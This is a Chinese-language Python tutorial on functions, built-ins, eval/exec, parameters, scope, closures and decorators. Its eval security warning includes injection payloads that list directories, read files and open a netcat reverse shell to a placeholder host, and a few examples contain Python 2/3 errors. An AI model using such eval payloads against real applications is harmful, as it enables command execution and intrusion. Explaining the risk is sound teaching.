赞
踩
编写代码时,如果没有函数的话,将会出现很多重复的代码,这样代码重用率就比较低,并且这样的代码很难维护,为了解决这些问题,就出现了函数,函数可以将一些经常出现的代码进行封装,这样就可以在任何需要调用这段代码的地方调用这个函数就行了。
函数是指将一组语句的集合通过一个名字(函数名)封装起来,要想执行这个函数,只需调用其函数名即可。
函数定义详解:https://docs.python.org/zh-cn/3.11/tutorial/controlflow.html#defining-functions
函数通过
def
关键字 定义。def 关键字后跟一个函数的 标识符 名称,然后跟一对圆括号。圆括号之中可以包括一些变量名,该行以冒号结尾。接下来是一块语句,它们是函数体。
下面这个例子将说明这事实上是十分简单的:
- #!/usr/bin/python
- # Filename: function1.py
-
- def sayHello():
- print('Hello World!') # 函数块,即 函数体
-
-
- sayHello() # 调用函数
输出:
- $ python function1.py
- Hello World
Python 内置(build-in) 函数:https://docs.python.org/zh-cn/3.11/library/functions.html
Python 解释器内置了很多函数和类型,任何时候都能使用。以下按字母顺序给出列表。
A B C D | E F G H I | L M N O P | R S T V Z _ |
python之内置函数,匿名函数:https://www.cnblogs.com/jin-xin/articles/8423937.html
a = 1
b = 2
print(locals())
print(globals())
# 这两个一样,因为是在全局执行的。##########################
def func(argv):
c = 2
print(locals())
print(globals())
func(3)#这两个不一样,locals() {'argv': 3, 'c': 2}
( 执行简单的Python时用 eval,复杂的用 exec,一般不用 compile )
- """
- eval() 函数用来执行一个字符串表达式,并返回表达式的值。
- """
- eval('2 + 2') # 4
- n = 81
- eval("n + 4") # 85
- eval('print(666)') # 666
-
-
- """
- exec 执行储存在字符串或文件中的 Python 代码,相比于 eval,exec可以执行更复杂的 Python 代码。
- """
- s = '''
- for i in [1,2,3]:
- print(i)
- list(map(lambda i: print(i), [4, 5, 6]))
- '''
- print(f'exec : {exec(s)}')
-
-
- '''
- 参数说明:
- 1. 参数 source:字符串或者AST(Abstract Syntax Trees)对象。即需要动态执行的代码段。
- 2. 参数 filename:代码文件名称,如果不是从文件读取代码则传递一些可辨认的值。
- 当传入了source参数时,filename参数传入空字符即可。
- 3. 参数model:指定编译代码的种类,可以指定为 ‘exec’,’eval’,’single’。
- 当source中包含流程语句时,model应指定为‘exec’;
- 当source中只包含一个简单的求值表达式,model应指定为‘eval’;
- 当source中包含了交互式命令语句,model应指定为'single'。
- '''
- # 流程语句使用 exec
- code1 = 'for i in range(0,10): print (i)'
- compile1 = compile(code1, '', 'exec')
- exec(compile1)
-
- # 简单求值表达式用 eval
- code2 = '1 + 2 + 3 + 4'
- compile2 = compile(code2, '', 'eval')
- eval(compile2)
-
- # 交互语句用 single
- code3 = 'name = input("please input your name:")'
- compile3 = compile(code3, '', 'single')
- # name # 执行前name变量不存在
- # Traceback (most recent call last):
- # File "<pyshell#29>", line 1, in <module>
- # name
- # NameError: name 'name' is not defined
-
- exec(compile3) # 执行时显示交互命令,提示输入
- # please input your name:'pythoner'
- # name #执行后name变量有值
- # "'pythoner'"
eval() 的确是一个很便捷的工具,但是便捷使用不当的同时也会造成严重的安全问题
强大的函数是有代价的,安全性是其最大的缺点。想一想这种使用环境:需要用户输入一个表达式,并求值。如果用户恶意输入,例如:eval("__import__('os').system('dir')") 之后,你会发现,当前目录文件都会展现在用户前面。那么继续输入:open('文件名').read()
代码都给人看了。获取完毕,一条删除命令,文件消失。还可以得到 反弹 shell 等:
eval("__import__('os').system('start cmd')")
eval("__import__('os').system('nc -h xxx -p xxx')")
数据类型(4 个):
进制转换(3 个):
print(bin(10), type(bin(10))) # 0b1010 <class 'str'>
print(oct(10), type(oct(10))) # 0o12 <class 'str'>
print(hex(10), type(hex(10))) # 0xa <class 'str'>
数学运算(7 个):
print(abs(-5)) # 5
print(divmod(7, 2)) # (3, 1)
print(round(7 / 3, 2)) # 2.33
print(round(7 / 3)) # 2
print(round(3.32567, 3)) # 3.326
print(pow(2, 3)) # 两个参数为2**3次幂
print(pow(2, 3, 3)) # 三个参数为2**3次幂,对3取余。print(sum([1, 2, 3]))
print(sum((1, 2, 3), 100))
print(min([1, 2, 3])) # 返回此序列最小值ret = min([1, 2, -5, ], key=abs) # 按照绝对值的大小,返回此序列最小值
print(ret)dic = {'a': 3, 'b': 2, 'c': 1}
print(min(dic, key=lambda x: dic[x]))
# x为dic的key,lambda的返回值(即dic的值进行比较)返回最小的值对应的键
print(max([1, 2, 3])) # 返回此序列最大值ret = max([1, 2, -5, ], key=abs) # 按照绝对值的大小,返回此序列最大值
print(ret)dic = {'a': 3, 'b': 2, 'c': 1}
print(max(dic, key=lambda x: dic[x]))
# x为dic的key,lambda的返回值(即dic的值进行比较)返回最大的值对应的键
列表和元祖(2)
相关内置函数(2)
字符串相关(9)
# 字符串可以提供的参数,指定对齐方式,<是左对齐, >是右对齐,^是居中对齐
print(format('test', '<20'))
print(format('test', '>20'))
print(format('test', '^20'))# 整形数值可以提供的参数有 'b' 'c' 'd' 'o' 'x' 'X' 'n' None
format(3, 'b') # 转换成二进制
'11'
format(97, 'c') # 转换unicode成字符
'a'
format(11, 'd') # 转换成10进制
'11'
format(11, 'o') # 转换成8进制
'13'
format(11, 'x') # 转换成16进制 小写字母表示
'b'
format(11, 'X') # 转换成16进制 大写字母表示
'B'
format(11, 'n') # 和d一样
'11'
format(11) # 默认和d一样
'11'# 浮点数可以提供的参数有 'e' 'E' 'f' 'F' 'g' 'G' 'n' '%' None
format(314159267, 'e') # 科学计数法,默认保留6位小数
'3.141593e+08'
format(314159267, '0.2e') # 科学计数法,指定保留2位小数
'3.14e+08'
format(314159267, '0.2E') # 科学计数法,指定保留2位小数,采用大写E表示
'3.14E+08'
format(314159267, 'f') # 小数点计数法,默认保留6位小数
'314159267.000000'
format(3.14159267000, 'f') # 小数点计数法,默认保留6位小数
'3.141593'
format(3.14159267000, '0.8f') # 小数点计数法,指定保留8位小数
'3.14159267'
format(3.14159267000, '0.10f') # 小数点计数法,指定保留10位小数
'3.1415926700'
format(3.14e+1000000, 'F') # 小数点计数法,无穷大转换成大小字母
'INF'# g的格式化比较特殊,假设p为格式中指定的保留小数位数,先尝试采用科学计数法格式化,得到幂指数exp,
# 如果-4<=exp<p,则采用小数计数法,并保留p-1-exp位小数,否则按小数计数法计数,并按p-1保留小数位数
format(0.00003141566, '.1g') # p=1,exp=-5 ==》 -4<=exp<p不成立,按科学计数法计数,保留0位小数点
'3e-05'
format(0.00003141566, '.2g') # p=1,exp=-5 ==》 -4<=exp<p不成立,按科学计数法计数,保留1位小数点
'3.1e-05'
format(0.00003141566, '.3g') # p=1,exp=-5 ==》 -4<=exp<p不成立,按科学计数法计数,保留2位小数点
'3.14e-05'
format(0.00003141566, '.3G') # p=1,exp=-5 ==》 -4<=exp<p不成立,按科学计数法计数,保留0位小数点,E使用大写
'3.14E-05'
format(3.1415926777, '.1g') # p=1,exp=0 ==》 -4<=exp<p成立,按小数计数法计数,保留0位小数点
'3'
format(3.1415926777, '.2g') # p=1,exp=0 ==》 -4<=exp<p成立,按小数计数法计数,保留1位小数点
'3.1'
format(3.1415926777, '.3g') # p=1,exp=0 ==》 -4<=exp<p成立,按小数计数法计数,保留2位小数点
'3.14'
format(0.00003141566, '.1n') # 和g相同
'3e-05'
format(0.00003141566, '.3n') # 和g相同
'3.14e-05'
format(0.00003141566) # 和g相同
'3.141566e-05'
bytes:用于不同编码之间的转化。
s = '你好'
bs = s.encode('utf-8')
print(bs)
s1 = bs.decode('utf-8')
print(s1)
bs = bytes(s, encoding='utf-8')
print(bs)
b = '你好'.encode('gbk')
b1 = b.decode('gbk')
print(b1.encode('utf-8'))
bytearry:返回一个新字节数组。这个数组里的元素是可变的,并且每个元素的值范围: 0 <= x < 256。
ret = bytearray('alex', encoding='utf-8')
print(id(ret))
print(ret)
print(ret[0])
ret[0] = 65
print(ret)
print(id(ret))
memoryview:内存数据查看
ret = memoryview(bytes('你好', encoding='utf-8'))
print(len(ret))
print(ret)
print(bytes(ret[:3]).decode('utf-8'))
print(bytes(ret[3:]).decode('utf-8'))
ord:输入字符找该字符编码的位置
chr:输入位置数字找出其对应的字符
ascii:是ascii码中的返回该值,不是就返回/u...
- # ord 输入字符找该字符编码的位置
- print(ord('a'))
- print(ord('中'))
-
- # chr 输入位置数字找出其对应的字符
- print(chr(97))
- print(chr(20013))
-
- # 如果是 ascii 码,就返回该值,不是就返回/u...
- print(ascii('a'))
- print(ascii('中'))
repr:返回一个对象的string形式(原形毕露)。
- # %r 原封不动的写出来
- name = 'taibai'
- print('我叫%r' % name)
-
- # repr 原形毕露
- print(repr('{"name":"alex"}'))
- print('{"name":"alex"}')
数据集合(3)
- L = [('a', 1), ('c', 3), ('d', 4), ('b', 2), ]
- sorted(L, key=lambda x: x[1]) # 利用key
- # [('a', 1), ('b', 2), ('c', 3), ('d', 4)]
-
- students = [('john', 'A', 15), ('jane', 'B', 12), ('dave', 'B', 10)]
- sorted(students, key=lambda s: s[2]) # 按年龄排序
- # [('dave', 'B', 10), ('jane', 'B', 12), ('john', 'A', 15)]
-
- sorted(students, key=lambda s: s[2], reverse=True) # 按降序
- # [('john', 'A', 15), ('jane', 'B', 12), ('dave', 'B', 10)]
enumerate:枚举,返回一个枚举对象。
- print(enumerate([1, 2, 3]))
- for i in enumerate([1, 2, 3]):
- print(i)
- for i in enumerate([1, 2, 3], 100):
- print(i)
all:可迭代对象中,全都是True才是True
any:可迭代对象中,有一个True 就是True
- # all 可迭代对象中,全都是True才是True
- # any 可迭代对象中,有一个True 就是True
- print(all([1, 2, True, 0]))
- print(any([1, '', 0]))
zip:函数用于将可迭代的对象作为参数,将对象中对应的元素打包成一个个元组,然后返回由这些元组组成的列表。如果各个迭代器的元素个数不一致,则返回列表长度与最短的对象相同。
- l1 = [1, 2, 3, ]
- l2 = ['a', 'b', 'c', 5]
- l3 = ('*', '**', (1, 2, 3))
- for i in zip(l1, l2, l3):
- print(i)
- print(list(zip(l1, l2)))
filter:过滤。
- # filter 过滤 通过你的函数,过滤一个可迭代对象,返回的是True
- # 类似于[i for i in range(10) if i > 3]
-
- def func(x): return x % 2 == 0
-
-
- ret = filter(func, [1, 2, 3, 4, 5, 6, 7])
- print(list(ret)) # [2, 4, 6]
-
map:会根据提供的函数对指定序列做映射。
- def square(x): # 计算平方数
- return x ** 2
-
-
- print(list(map(square, [1, 2, 3, 4, 5]))) # 计算列表各个元素的平方
- # [1, 4, 9, 16, 25]
- print(list(map(lambda x: x ** 2, [1, 2, 3, 4, 5]))) # 使用 lambda 匿名函数
- # [1, 4, 9, 16, 25]
-
- # 提供了两个列表,对相同位置的列表数据进行相加
- print(list(map(lambda x, y: x + y, [1, 3, 5, 7, 9], [2, 4, 6, 8, 10])))
- # [3, 7, 11, 15, 19]
参数 在 函数定义 的圆括号对内指定,用逗号分割。当我们调用函数的时候,我们以同样的方式提供值。
形参 和 实参 ( 函数中的参数名称 为 形参 ,而你 提供给函数调用的值称 为 实参 ):
函数的参数对应有如下几种:
- # 1. 必须参数
- def func_1(name, age):
- print(name, age)
- func_1("小明", 18)
-
-
- # 2. 命名参数(又叫关键字参数)
- def func_3(name, age=0, sex="male"):
- print(name, age, sex)
- func_3('小明', sex='男')
-
-
- # 3. 不定长参数(元组类型)
- def func_4(*args):
- print(args)
- func_4("小明", 18, "male")
-
-
- # 4. 不定长参数(字典类型)
- def func_5(**kwargs):
- print(kwargs)
- func_5(name="小明", age=18, sex="male")
顺序:
- #!/usr/bin/python
- # Filename: func_param.py
- def printMax(a, b):
- if a > b:
- print(f'{a} is maximum')
- else:
- print(f'{b} is maximum')
-
-
- printMax(3, 4) # directly give literal values
- x = 5
- y = 7
- printMax(x, y) # give variables as arguments
-
- '''
- $ python func_param.py
- 4 is maximum
- 7 is maximum
- '''
在 printMax(3, 4) 中,我们直接把 整数 3、4 提供给函数( 这里 3、4 就是实参 )。
在 printMax(x, y) 中,我们把 x、y 提供给函数( 这里 x、y 就是实参 ),使 实参x 的值赋给 形参a,实参y 的值赋给 形参b。
这两次调用中,printMax 函数的工作完全相同。
如果你的某个函数有许多参数,而你只想指定其中的一部分,那么你可以通过命名来为这些参数赋值,这被称作 关键字参数。
即 使用 名字(关键字) 而不是 位置 来给函数指定实参。
这样做有两个 优势 :
使用关键参数
- #!/usr/bin/python
- # Filename: func_key.py
-
- def func(a, b=5, c=10):
- print(f'a is {a}, and b is {b}, and c is {c}')
-
-
- func(3, 7)
- func(25, c=24)
- func(c=50, a=100)
-
- '''
- $ python func_key.py
- a is 3 and b is 7 and c is 10
- a is 25 and b is 5 and c is 24
- a is 100 and b is 5 and c is 50
- '''
名为 func 的函数有一个没有默认值的参数,和两个有默认值的参数。
- #!/usr/bin/python
- # Filename: func_default.py
-
- def say(message, times=1):
- print(message * times)
-
-
- say('Hello')
- say('World', 5)
-
- '''
- $ python func_default.py
- Hello
- WorldWorldWorldWorldWorld
- '''
名为say
的函数用来打印一个字符串任意所需的次数。如果我们不提供一个值,那么默认地,字符串将只被打印一遍。我们通过给形参times
指定默认参数值1
来实现这一功能。
在第一次使用say
的时候,我们只提供一个字符串,函数只打印一次字符串。在第二次使用say
的时候,我们提供了字符串和参数5
,表明我们想要说 这个字符串消息5遍。
默认参数 注意 点:
只有在形参表末尾的那些参数可以有默认参数值,即你不能在声明函数形参的时候,先声明有默认值的形参而后声明没有默认值的形参。
这是因为赋给形参的值是根据位置而赋值的。例如,
def func(a, b=5)
是有效的,但是def func(a=5, b)
是无效的。
假如一个函数使用了上面所有种类的参数,那该怎么办 ?
为了不产生歧义,python 里面规定了假如有多种参数混合的情况下,遵循如下的顺序使用规则:
- def func(必须参数, 默认参数, *args, **kwargs):
- pass
示例:
- def f(*args, **kwargs):
- print(f'args : {args}')
- for i in kwargs:
- print(f"{i} : {kwargs[i]}")
-
-
- f(*[1, 2, 3], **{"a": 1, "b": 2})
-
- '''
- args : (1, 2, 3)
- a : 1
- b : 2
- '''
python 中的作用域分4种情况:
L:local, 局部作用域,即函数中定义的变量;
E:enclosing, 嵌套的父级函数的局部作用域,即包含此函数的上级函数的局部作用域,但不是全局的;
G:globa, 全局变量,就是模块级别定义的变量;
B:built-in, 系统固定模块里面的变量,比如int, bytearray等。搜索变量的优先级顺序依次是:
域局部(L) ---> 外层作用域(E) ---> 当前模块中的全局(G) ---> python内置作用域(B)local 和 enclosing 是相对的,enclosing 变量相对上层来说也是 local。
变量的修改( 错误修改,面试题里经常出 ):
- x = 6
-
- def f2():
- print(x)
- x = 5
-
- f2()
-
- '''
- 错误的原因在于print(x)时, 解释器会在局部作用域找, 会找到x=5(函数已经加载到内存),
- 但 x的使用 是 在声明前, 所以报错: local variable 'x' referenced before assignment.
- 如何证明找到了 x=5 呢? 简单: 注释掉 x=5,x=6
- 报错为:name 'x' is not defined
- '''
同理:
- x = 6
- def f2():
- x += 1 # local variable 'x' referenced before assignment.
- f2()
函数体内声明的变量 与 函数体外同名称的其他变量 没有任何关系,即 函数体内的同名变量 对于函数来说 是 局部的,也只能在函数体内使用,这就是 变量的作用域 。
所有 变量的作用域 是从 变量被定义的那点开始,直到被定义的块结束为止。
使用局部变量
- #!/usr/bin/python
- # Filename: func_local.py
-
- def func(x):
- print(f'x is {x}')
- x = 2
- print(f'Changed local x to {x}')
-
-
- x = 50
- func(x)
- print(f'x is still {x}')
-
- '''
- x is 50
- Changed local x to 2
- x is still 50
- '''
如果要为 函数体外的变量 赋值,那么你就得告诉 Python 这个变量名不是局部的,而是全局的,可以使用 global 语句完成这一功能。
使用 global 语句 可以清楚地表明 变量是在外面的块定义的。内部作用域 想修改 外部作用域的变量 时,就要用到 global 和 nonlocal 关键字。
没有 global 语句,是不可能为定义在函数体外的变量赋值的,但是可以使用定义在函数外的变量的值(假设在函数内没有同名的变量)。
示例代码:
- #!/usr/bin/python
- # Filename: func_global.py
-
-
- """
- global 语句被用来声明 x 是全局的,因此,当我们在函数内把值赋给x的时候,
- 这个变化也反映在我们在主块中使用x的值的时候。
- 一个 global 语句指定多个全局变量。例如:global x, y, z
- """
-
-
- def func():
- global x, y
- print(f'x is {x}')
- x = 2
- print(f'Changed global x to {x}')
-
-
- x = 50
- y = 100
- z = 200
- func()
- print('Value of x is {x}')
-
- '''
- 输出:
- $ python func_global.py
- x is 50
- Changed global x to 2
- Value of x is 2
- '''
global 声明的变量必须在全局作用域上,不能嵌套作用域上,当要修改嵌套作用域(enclosing 作用域,外层非全局作用域)中的变量怎么办呢,这时就需要 nonlocal 关键字了
- def outer():
- count = 10
- def inner():
- nonlocal count
- count = 20
- print(count)
- inner()
- print(count)
- outer()
从 局部变量 和 全局变量 开始全面解析 Python 中 变量的作用域
From : http://www.jb51.net/article/86766.htm
1. 定义在函数内部的变量名如果是第一次出现, 且在=符号前,那么就可以认为是被定义为局部变量。在这种情况下,不论全局变量中是否用到该变量名,函数中使用的都是局部变量。例如:
- num = 100
- def func():
- num = 123
- print num
- func()
输出结果是123。说明函数中定义的变量名 num 是一个局部变量,覆盖全局变量。再例如:
- num = 100
- def func():
- num += 100 # 等价于 num = num + 100
- print(num)
- func()
-
- '''
- 结果:local variable 'num' referenced before assignment
- 解释:程序执行报错,是因为局部变量 num 在赋值前被应用。也就是说该变量没有定义就被错误使用。
- 由此再次证明这里定义的是一个局部变量,而不是全局变量。
- '''
2. 函数内部的变量名如果是第一次出现,且出现在=符号后面,且在之前已被定义为全局变量,则这里将引用全局变量。例如:
- num = 100
- def func():
- x = num + 100
- print(x)
- func()
-
- '''
- 200
- '''
如果变量名 num 在之前没有被定义为全局变量,则会出现错误提示:变量没有定义。例如:
- def func():
- x = num + 100
- print(x)
- func()
-
- '''
- 输出结果是:NameError: global name 'num' is not defined。
- '''
3. 函数中使用某个变量时,如果该变量名既有全局变量也有局部变量,则默认使用局部变量。例如:
- num = 100
- def func():
- num = 200
- x = num + 100
- print(x)
- func()
-
- '''
- 300
- '''
4. 在函数中将某个变量定义为全局变量时需要使用关键字 global。例如:
- num = 100
- def func():
- global num
- num = 200
- num += 300
- print(num)
-
- func()
- print(num)
-
- '''
- 500
- 500
- '''
变量作用域(scope)在Python中是一个容易掉坑的地方。Python的作用域一共有4中,分别是:
L (Local) 局部作用域
E (Enclosing) 闭包函数外的函数中
G (Global) 全局作用域
B (Built-in) 内建作用域
以 L --> E --> G -->B 的规则查找,即:在局部找不到,便会去局部外的局部找(例如闭包),再找不到就会去全局找,再者去内建中找。
Python 除了 def / class / lambda 外,其他如:if / elif / else / try / except for / while 并不能改变其作用域。定义在他们之内的变量,外部还是可以访问。
- if 1:
- a = 100
- print(a)
-
- '''
- 100
- '''
定义在 if 语言中的变量 a,外部还是可以访问的。
- def test():
- print(var_temp)
-
-
- if __name__ == '__main__':
- var_temp = 100
- test()
注意:如果 if 被 def / class / lambda 包裹,在其内部赋值,则就变成了此 函数 / 类 / lambda 的 局部作用域。
即在 def/class/lambda 内进行赋值,就变成了其局部的作用域,局部作用域会覆盖全局作用域,但不会影响全局作用域。
- g = 1 # 全局的
-
- def fun():
- g = 2 # 局部的
- return g
-
- print(fun()) # 2
- print(g) # 1
但是要注意,有时候想在函数内部引用全局的变量,疏忽了就会出现错误,比如:
- #file1.py
- var = 1
- def fun():
- print var
- var = 200
- print fun()
-
- #file2.py
- var = 1
- def fun():
- var = var + 1
- return var
- print fun()
这两个函数都会报错 UnboundLocalError: local variable 'var' referenced before assignment 在未被赋值之前引用的错误!为什么?
因为在函数的内部,解释器探测到 var被重新赋值了,所以 var 成为了局部变量,但是在没有被赋值之前就想使用 var,便会出现这个错误。
解决的方法是在函数内部添加 globals var ,但运行函数后全局的 var 也会被修改。
闭包的定义:在 内部函数里面 引用 外部函数内的变量(不是全局作用域的变量),那么 内部函数 就被认为是 闭包(closure)
函数嵌套 / 闭包 中的作用域:
- def external():
- global a # 引用全局变量a
- a = 200
- print(a)
-
- b = 100 # 局部变量 b
-
- def internal():
- # nonlocal b # 使用 nonlocal 可以解决报错
- print(b) # 下面有个 b=200,说明b是局部变量,但是在 print 语句之后,所以报错,
- b = 200
- return b
-
- internal()
- print(b)
-
- a = 1000 # 全局变量a
- print(external())
程序执行报错,因为引用在赋值之前,Python3 有个关键字 nonlocal 可以解决这个问题,但在 Python2 中还是不要尝试修改闭包中的变量。
关于闭包中还有一个坑:
- from functools import wraps
-
-
- def wrapper(log):
- def external(F):
- @wraps(F)
- def internal(**kw):
- if False:
- log = 'modified'
- print(log)
- return internal
- return external
-
-
- @wrapper('first')
- def abc():
- pass
-
-
- print(abc())
也会出现 引用在赋值之前 的错误,
原因是解释器探测到了 if False 中的重新赋值,所以不会去闭包的外部函数(Enclosing)中找变量,但 if Flase 不成立没有执行,所以便会出现此错误。除非你还需要 else: log='var' 或者 if True 但这样添加逻辑语句就没了意义,所以尽量不要修改闭包中的变量。
好像用常规的方法无法让闭包实现计数器的功能,因为在内部进行 count +=1 便会出现 引用在赋值之前 的错误,解决办法:( 或Py3环境下的 nonlocal 关键字)
- def counter(start):
- count = [start]
-
- def internal():
- count[0] += 1
- return count[0]
-
- return internal
-
-
- count = counter(0)
- for n in range(10):
- print(count())
- # 1,2,3,4,5,6,7,8,9,10
-
- count = counter(0)
- print(count()) # 1
由于 list 具有可变性,而字符串是不可变类型。
globals()
global 和 globals() 是不同的,
例如:在函数func内定义了一个局部变量 temp,但是有一个同名的函数 temp,同时要在 函数func内 引用 temp 函数。
- def temp():
- pass
-
- def func():
- temp = 'Just a String'
- f1 = globals()['temp']
- print(temp)
- return type(f1)
-
- print(func())
-
- '''
- Just a String
- <class 'function'>
- '''
locals()
如果你使用过 Python 的 Web 框架,那么你一定经历过需要把一个视图函数内很多的局部变量传递给模板引擎,然后作用在HTML上。
虽然你可以有一些更聪明的做法,但你还是仍想一次传递很多变量。先不用了解这些语法是怎么来的,用做什么,只需要大致了解 locals() 是什么。
可以看到,locals() 把局部变量都给打包一起扔去了。
- @app.route('/')
- def view():
- user = User.query.all()
- article = Article.query.all()
- ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr)
- s = 'Just a String'
-
- # return render_template('index.html', **locals())
- return render_template('index.html', user=user, article=article, ip=ip, s=s)
- #!/usr/bin/python
- # Filename: func_return.py
- def maximum(x, y):
- if x > y:
- return x
- else:
- return y
-
-
- print(maximum(2, 3)) # 3
注意:没有返回值的 return 语句等价于 return None。None 是 Python 中表示没有任何东西的特殊类型。例如,如果一个变量的值为 None,可以表示它没有值。
除非你提供你自己的 return 语句,每个函数都在结尾暗含有 return None 语句。通过运行 print someFunction(),你可以明白这一点,函数 someFunction 没有使用 return 语句,如同:
- def someFunction():
- pass
注意: 函数在执行过程中只要遇到 return 语句,就会停止执行并返回结果,也可以理解为 return 语句代表着函数的结束,如果没有在函数中指定 return,那这个函数的返回值为 None
return 多个对象,解释器会把这多个对象组装成一个元组,然后 return 这个元祖。
- def func():
- return 123, 'abc', 'efg'
-
- if __name__ == "__main__":
- print(type(func())) # <class 'tuple'>
- print(func()) # (123, 'abc', 'efg')
- pass
python 的 文档字符串
- #!/usr/bin/python
- # Filename: func_doc.py
- def printMax(x, y):
- """
- Prints the maximum of two numbers.
- The two values must be integers.
- :param x:
- :param y:
- :return:
- """
- x = int(x) # convert to integers, if possible
- y = int(y)
- if x > y:
- print(f'{x} is maximum')
- else:
- print(f'{y} is maximum')
-
-
- printMax(3, 5)
- print(printMax.__doc__)
-
- '''
- 输出
- $ python func_doc.py
- 5 is maximum
- Prints the maximum of two numbers.
- The two values must be integers.
- '''
在函数的第一个逻辑行的字符串是这个函数的 文档字符串 。注意,DocStrings也适用于模块和类,我们会在后面相应的章节学习它们。
文档字符串的惯例是一个多行字符串,它的首行以大写字母开始,句号结尾。第二行是空行,从第三行开始是详细的描述。 强烈建议 你在你的函数中使用文档字符串时遵循这个惯例。
你可以使用__doc__
(注意双下划线)调用printMax
函数的文档字符串属性(属于函数的名称)。请记住Python把每一样东西 都作为对象,包括这个函数。我们会在后面的类一章学习更多关于对象的知识。
如果你已经在Python中使用过help()
,那么你已经看到过DocStings的使用了!它所做的只是抓取函数的__doc__
属性,然后整洁地展示给你。你可以对上面这个函数尝试一下——只是在你的程序中包括help(printMax)
。记住按q退出help
。
来源:https://www.oschina.net/translate/decorators-and-functional-python
英文原文:Decorators and Functional Python:http://www.brianholdefehr.com/decorators-and-functional-python
函数式编程 的一个特点就是,允许把 函数本身作为参数 传入另一个函数,还 允许返回一个函数。
Python 对函数式编程提供部分支持。由于 Python 允许使用变量,因此,Python 不是纯函数式编程语言。
高阶函数英文叫 Higher-order function。什么是高阶函数?下面以实际代码为例子,一步一步深入概念。
函数式编程的几个技术
变量可以指向函数
以 Python 内置的求绝对值的函数 abs() 为例,调用该函数用以下代码:
- >>> abs(-10)
- 10
但是,如果只写 abs 呢?
- >>> abs
- <built-in function abs>
可见,abs(-10) 是函数调用,而 abs 是 函数本身。要获得函数调用结果,我们可以把结果赋值给变量:
- >>> x = abs(-10)
- >>> x
- 10
但是,如果把函数本身赋值给变量呢?
- >>> f = abs
- >>> f
- <built-in function abs>
结论:函数本身也可以赋值给变量,即:变量可以指向函数。
如果一个变量指向了一个函数,那么,可否通过该变量来调用这个函数?用代码验证一下:
- >>> f = abs
- >>> f(-10)
- 10
- 成功!说明变量f现在已经指向了abs函数本身。
函数名也是变量
那么函数名是什么呢?函数名其实就是指向函数的变量!对于abs()这个函数,完全可以把函数名abs看成变量,它指向一个可以计算绝对值的函数!
- 如果把 abs 指向其他对象,会有什么情况发生?
- >>> abs = 10
- >>> abs(-10)
- Traceback (most recent call last):
- File "<stdin>", line 1, in <module>
- TypeError: 'int' object is not callable
-
- 把 abs 指向 10 后,就无法通过 abs(-10) 调用该函数了!因为 abs 这个变量已经不指向求绝对值函数了!
-
- 当然实际代码绝对不能这么写,这里是为了说明函数名也是变量。要恢复abs函数,请重启Python交互环境。
注:由于 abs 函数实际上是定义在 __builtin__ 模块中的,所以要让修改 abs 变量的指向在其它模块也生效,要用 __builtin__.abs = 10。
Decorators 是 Python 中最重要的特性之一。 它除了使 Python 更好用外的,它还能帮助我们以一种更有趣的方法考虑问题 --- 函数式编程的方法
我会尝试着从零开始解释 Decorator 是怎么工作的。首先, 我们会介绍一些帮助你理解 Decorator 的概念。 然后, 我们会深入的去解释一些示例代码以及他们的工作原理。 最后, 我们会讨论一些更加高级的 Decorator 的用法, 诸如给他们传可选参数, 把他们组成一个执行链。
首先, 让我们来用我所能想到的最简单的方法来定义 Python 中的方法 (Function)。 然后基于这个简单的定义,再用相同方法来定义 Decorators。
方法(Function)是一段用以执行某一特定任务的可重用的代码。
那什么是 Decorator 呢 ?Decorator 是一个改变其他方法的方法。
现在,让我们通过几个先决条件来解释 decorators 的含义。
在 Python 中 一切皆对象。这意味着即使一个函数被其他对象所包装,我们仍然可以通过这个对象名来进行调用。 举个列子:
- def traveling_function():
- print("Here I am!")
-
-
- function_dict = {
- "func": traveling_function
- }
-
- trav_func = function_dict['func']
- trav_func()
- # >> Here I am!
traveling_function 尽管在 function_dictdictionary 中被指定为 func 这个 ‘key ’的 ‘value’, 但是我们仍然可以正常的使用。
我们可以以类似其它对象的方式传递对象。它可以是字典的值、列表的项或是另一个对象的属性。那么,我们不能将函数以参数的方式传递给另一个函数么?可以!函数作为参数传递给高阶函数。
- def self_absorbed_function():
- return "I'm an amazing function!"
-
-
- def printer(func):
- print("The function passed to me says: ") + func()
- # Call `printer` and give it `self_absorbed_function` as an argument
- printer(self_absorbed_function)
- # >> The function passed to me says: I'm an amazing function!
上面就是将函数作为参数传递另一个函数,并进行处理的示例。用这种方式,我们可以创造很多有趣的函数,例如 decorator。
平心而论,decorator 只是将 函数作为参数 的 函数。通常,它的作用是返回封装好的经过修饰的函数。
下面这个简单的身份识别 decorator 可以让我们了解 decorator 是如何工作的。
- def identity_decorator(func):
- def wrapper():
- func()
- return wrapper
-
-
- def a_function():
- print("I'm a normal function.")
-
-
- # `decorated_function` is the function that `identity_decorator` returns, which
- # is the nested function, `wrapper`
- decorated_function = identity_decorator(a_function)
- # This calls the function that `identity_decorator` returned
- decorated_function()
- # >> I'm a normal function
在这里,identity_decoratordoes 并没有修改其封装的函数。它仅仅是返回了这个函数,调用了作为参数传递给 identity_decorator 的函数。这个decorator 毫无意义!
有趣的是在 identity_decorator 中,虽然函数没有传递给 wrapper ,它依然那可以被调用,这是因为闭包原理。
什么是闭包?
内部函数对外部函数作用域里变量的引用(非全局变量),则称内部函数为闭包。
javascript 闭包:https://www.runoob.com/js/js-function-closures.html
- 闭包是一种保护私有变量的机制,在函数执行时形成私有的作用域,保护里面的私有变量不受外界干扰。直观的说:就是形成一个不销毁的栈环境。
- 闭包在维基百科上的定义如下:在计算机科学中,闭包(Closure)是词法闭包(Lexical Closure)的简称,是引用了自由变量的函数。这个被引用的自由变量将和这个函数一同存在,即使已经离开了创造它的环境也不例外。所以,有另一种说法:认为闭包是由函数和与其相关的引用环境组合而成的实体。
利用闭包,可以实现在外部作用域,访问内部作用域的局部变量。
def outer():
x = 1def inner():
print(x) # 1return inner
val = outer()
print(f"val ---> {val}")
print(f"val() ---> {val()}")
总结:
现在, 让我们来创建一个简单的,有点实际功能的 Decorator。这个 Decorator 所做的就是记录他所包装的方法被调用的次数。
- def logging_decorator(func):
- def wrapper():
- wrapper.count += 1
- print("The function I modify has been called {0} times(s).".format(wrapper.count))
- func()
-
- wrapper.count = 0
- return wrapper
-
-
- def a_function():
- print("I'm a normal function.")
-
-
- modified_function = logging_decorator(a_function)
- modified_function()
- # >> The function I modify has been called 1 time(s).
- # >> I'm a normal function.
- modified_function()
- # >> The function I modify has been called 2 time(s).
- # >> I'm a normal function.
Decorator 会修改另外一个方法, 这个例子可能会帮助你理解这其中的意思。正如你在这个例子中所看到的一样, logging_decorator 所返回的新方法和 a_function 很相似,只是多增加了日志功能。
